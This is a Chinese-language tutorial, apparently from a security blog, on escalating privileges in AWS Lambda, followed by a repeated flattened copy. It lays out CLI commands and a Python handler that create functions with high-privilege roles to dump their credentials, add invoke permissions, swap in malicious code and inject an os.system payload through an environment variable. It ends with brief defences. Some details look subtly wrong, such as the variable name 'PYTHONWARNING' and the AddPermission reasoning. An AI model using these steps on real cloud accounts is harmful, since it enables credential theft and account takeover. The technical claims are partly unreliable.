深入解析 AWS Lambda:权限管理与提权技巧全揭秘
字数 1407 2025-08-29 08:30:13

AWS Lambda 权限管理与提权技巧全面解析

1. IAM PassRole 权限与 Lambda 提权

1.1 iam:PassRole 权限详解

iam:PassRole 是 AWS IAM 权限中的关键权限,它允许 IAM 用户或角色将特定 IAM 角色传递给 AWS 服务,使这些服务能够使用该角色执行任务或访问资源。

关键特性:

  • 允许用户将权限附加到自己创建的 AWS 资源上
  • 角色通常包含相关权限(如访问 S3、CloudWatch 等)
  • 用户仅能传递角色,不会直接获得该角色的权限

1.2 结合 lambda:CreateFunction 的提权原理

当用户同时拥有 iam:PassRolelambda:CreateFunction 权限时,可能实现权限提升:

  1. 创建 Lambda 函数时,可以为其指定高权限角色
  2. 通过控制 Lambda 函数(如获取环境变量)获取高权限凭据
  3. 关键点:CreateFunction 默认包含执行权限

1.3 实际利用步骤

  1. 准备恶意代码

    • 创建 Python 脚本(如 rev.py)读取环境变量
    import os
    def lambda_handler(event, context):
        return dict(os.environ)
    
  2. 打包代码

    zip rev.zip rev.py
    
  3. 创建 Lambda 函数

    aws lambda create-function \
      --function-name malicious_function \
      --runtime python3.8 \
      --handler rev.lambda_handler \
      --role arn:aws:iam::123456789012:role/TestRole \
      --zip-file fileb://rev.zip
    
  4. 执行函数获取敏感信息

    aws lambda invoke --function-name malicious_function output.txt
    

2. lambda:AddPermission 权限利用

2.1 AddPermission 权限说明

lambda:AddPermission 允许向 Lambda 函数添加权限,控制哪些实体可以调用该函数。

2.2 提权原理

  1. 用户可以给 IAM 角色赋予 Lambda 函数的任意权限
  2. 可以修改 Lambda 函数代码为恶意代码
  3. 通过授予调用权限实现权限提升

2.3 利用步骤

  1. 查看现有函数

    aws lambda list-functions
    
  2. 添加权限(示例给当前角色所有权限):

    aws lambda add-permission \
      --function-name target_function \
      --action lambda:* \
      --principal arn:aws:iam::123456789012:role/CurrentRole \
      --statement-id malicious_statement
    
  3. 更新函数代码

    aws lambda update-function-code \
      --function-name target_function \
      --zip-file fileb://malicious.zip
    
  4. 触发函数执行

    aws lambda invoke --function-name target_function output.txt
    

3. lambda:UpdateFunctionConfiguration 权限利用

3.1 权限说明

lambda:UpdateFunctionConfiguration 允许修改 Lambda 函数配置,包括:

  • 环境变量:可设置/修改/删除
  • 执行角色:可更换为更高权限角色

3.2 环境变量注入攻击

通过滥用环境变量实现命令执行:

  1. Python 环境变量滥用

    • 利用 PYTHONWARNINGBROWSER 环境变量执行命令
  2. 配置恶意环境变量

    aws lambda update-function-configuration \
      --function-name target_function \
      --environment "Variables={PYTHONWARNING='import os; os.system(\"malicious_command\")'}"
    
  3. 触发函数执行

    aws lambda invoke --function-name target_function output.txt
    

4. 防御措施

  1. 最小权限原则

    • 严格限制 iam:PassRole 权限
    • 仅允许传递必要的最小权限角色
  2. Lambda 函数权限控制

    • 监控 Lambda 函数的角色分配
    • 限制 UpdateFunctionConfiguration 权限
  3. 环境变量管理

    • 避免在环境变量中存储敏感信息
    • 监控环境变量变更
  4. 审计与监控

    • 记录所有 Lambda 相关 API 调用
    • 设置异常行为告警

5. 总结

AWS Lambda 提权主要利用以下权限组合:

  1. iam:PassRole + lambda:CreateFunction:创建高权限函数
  2. lambda:AddPermission:授予恶意调用权限
  3. lambda:UpdateFunctionConfiguration:通过环境变量或角色更换提权

理解这些权限的交互方式是防御和攻击的关键,安全团队应特别关注这些权限的分配和使用情况。

AWS Lambda 权限管理与提权技巧全面解析 1. IAM PassRole 权限与 Lambda 提权 1.1 iam:PassRole 权限详解 iam:PassRole 是 AWS IAM 权限中的关键权限,它允许 IAM 用户或角色将特定 IAM 角色传递给 AWS 服务,使这些服务能够使用该角色执行任务或访问资源。 关键特性: 允许用户将权限附加到自己创建的 AWS 资源上 角色通常包含相关权限(如访问 S3、CloudWatch 等) 用户仅能传递角色,不会直接获得该角色的权限 1.2 结合 lambda:CreateFunction 的提权原理 当用户同时拥有 iam:PassRole 和 lambda:CreateFunction 权限时,可能实现权限提升: 创建 Lambda 函数时,可以为其指定高权限角色 通过控制 Lambda 函数(如获取环境变量)获取高权限凭据 关键点: CreateFunction 默认包含执行权限 1.3 实际利用步骤 准备恶意代码 : 创建 Python 脚本(如 rev.py )读取环境变量 打包代码 : 创建 Lambda 函数 : 执行函数获取敏感信息 : 2. lambda:AddPermission 权限利用 2.1 AddPermission 权限说明 lambda:AddPermission 允许向 Lambda 函数添加权限,控制哪些实体可以调用该函数。 2.2 提权原理 用户可以给 IAM 角色赋予 Lambda 函数的任意权限 可以修改 Lambda 函数代码为恶意代码 通过授予调用权限实现权限提升 2.3 利用步骤 查看现有函数 : 添加权限 (示例给当前角色所有权限): 更新函数代码 : 触发函数执行 : 3. lambda:UpdateFunctionConfiguration 权限利用 3.1 权限说明 lambda:UpdateFunctionConfiguration 允许修改 Lambda 函数配置,包括: 环境变量:可设置/修改/删除 执行角色:可更换为更高权限角色 3.2 环境变量注入攻击 通过滥用环境变量实现命令执行: Python 环境变量滥用 : 利用 PYTHONWARNING 和 BROWSER 环境变量执行命令 配置恶意环境变量 : 触发函数执行 : 4. 防御措施 最小权限原则 : 严格限制 iam:PassRole 权限 仅允许传递必要的最小权限角色 Lambda 函数权限控制 : 监控 Lambda 函数的角色分配 限制 UpdateFunctionConfiguration 权限 环境变量管理 : 避免在环境变量中存储敏感信息 监控环境变量变更 审计与监控 : 记录所有 Lambda 相关 API 调用 设置异常行为告警 5. 总结 AWS Lambda 提权主要利用以下权限组合: iam:PassRole + lambda:CreateFunction :创建高权限函数 lambda:AddPermission :授予恶意调用权限 lambda:UpdateFunctionConfiguration :通过环境变量或角色更换提权 理解这些权限的交互方式是防御和攻击的关键,安全团队应特别关注这些权限的分配和使用情况。